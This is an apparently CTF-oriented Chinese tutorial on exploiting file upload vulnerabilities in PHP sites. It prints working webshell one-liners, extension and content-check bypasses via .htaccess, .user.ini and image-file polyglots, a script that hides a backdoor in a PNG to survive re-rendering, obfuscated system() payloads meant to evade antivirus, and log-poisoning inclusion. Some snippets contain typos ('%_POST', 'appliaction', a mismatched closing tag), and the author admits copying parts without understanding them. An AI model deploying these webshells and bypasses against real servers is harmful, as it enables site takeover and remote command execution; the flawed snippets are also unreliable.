文件上传漏洞服务端代码未对客户端上传的文件进行严格的验证,导致漏洞。非法用户可以利用上传的恶意文件控制整个网站,这个恶意文件被称为webshell,也可以称为一种网页后门。
1、常见的WebShell有哪些?
- 拥有较完整功能的webshell,我们一般称为大马。
- 功能简易的webshell称为小马。
- 除此之外还存在一句话木马、菜刀马、脱库马等等的名词,是对于webShell功能或者特性的简称。
<?php eval(%_POST['data']);?>
将这个保存在php文件中然后将文件传入服务器目录中后用中国蚁剑或中国菜刀等shell管理工具进行连接,连接成功后就可以查看服务器目录了。
2、常见的绕过方式
1、前端检测绕过
1、前端要求必须传入图片,就可以将带有一句马的php文件后缀名改为jpg或gif或png,然后上传时再抓包改变后缀名为php后成功上传
2、前端进行了php后缀过滤,用php3/php4/phtml进行绕过(phtml文件内容格式应如下)
<script language="php"> eval($_POST['data']);</script>
3、若限制了大量文件后缀,此时如果是apache服务器,可以尝试上传 .htaccess后缀文件。文件内容为:
<FilesMatch "png">
setHandler appliaction/x-httpd-php
</FileMatch>
意思是所在目录中名字包含png的文件将会被当做php代码解析,然后再上传含有一句话的png文件就好
4、服务器在后台使用函数来判断上传的文件内容是否为图片。所以如果是WebShell文件仅仅是修改了后缀,可能会被pass掉。所以,我们上传的内容必须得有真实的图片内容。
这其中一种方法是在一句话前面加一个文件头如GIF89a,另一种是直接将一句话木马的文件和图片进行合并
D:\文件上传>copy /b hi.png+hello.php hi_hello.png
hi.png
hello.pHp
已复制 1 个文件。
5、.user.ini 绕过
自 PHP 5.3.0 起,PHP支持基于每个目录的INI文件配置( .user.ini )。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
用法:
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中(如index.php)。这两个设置的区别:
auto_prepend_file是在文件前插入。
auto_append_file在文件最后插入。
语法:
auto_append_file=hello.png
or
auto_prepend_file=hello.png
6、条件竞争
如果网站的文件上传的过程是:服务器获取文件–>保存上传临时文件–>重命名移动临时文件 这样的步骤时,就可以通过不断地对文件进行上传和访问,从而使服务器还未重命名移动临时文件时,我们就利用时间差打开了文件,成功执行其中的恶意代码。
但是话又说回来,我没试过,不好说,所以跳过
7、二次渲染
文件二次渲染:当你上传一个图片后,服务器会对图片进行处理,你的后门也就很可能被处理了
解决思路:使用脚本,有人分析了图片处理的规律,使用脚本可以把后门代码写入图片而不被处理
可以利用工具来将木马插入到图片中
但是话又又又又说回来,我不会写脚本,所以从网上抄一个吧
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
上传成功之后访问图片地址,在后面加入&0=system,1=tac flag.php,这个1=需要用POST方式提交
但是话又说回来我也不知道为什么
8、免杀
我们对payload进行处理,使其可以不被杀死
payload1: <?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?> payload2: <?php $a = "s#y#s#t#e#m"; $b = explode("#",$a); $c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5]; $c($_REQUEST[1]); ?> payload3: <?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?> payload4: <?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
还是抄的捏(
9、日志包含
上传了.user.ini之后,访问upload目录显示403,所以我们需要上传一个index.php,构造.user.ini利用条件:上传index.php 内容随意。上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:
这里其实和160的文件包含是一样的。只是我们需要上传index.php配合.user.ini
爆出403的错误就以为着当前目录的目录文件缺失。
(依旧是抄的)直接贴原文吧:文件上传漏洞(全网最详细)-优快云博客
总之要想练文件上传可以搞一个upload-lib靶场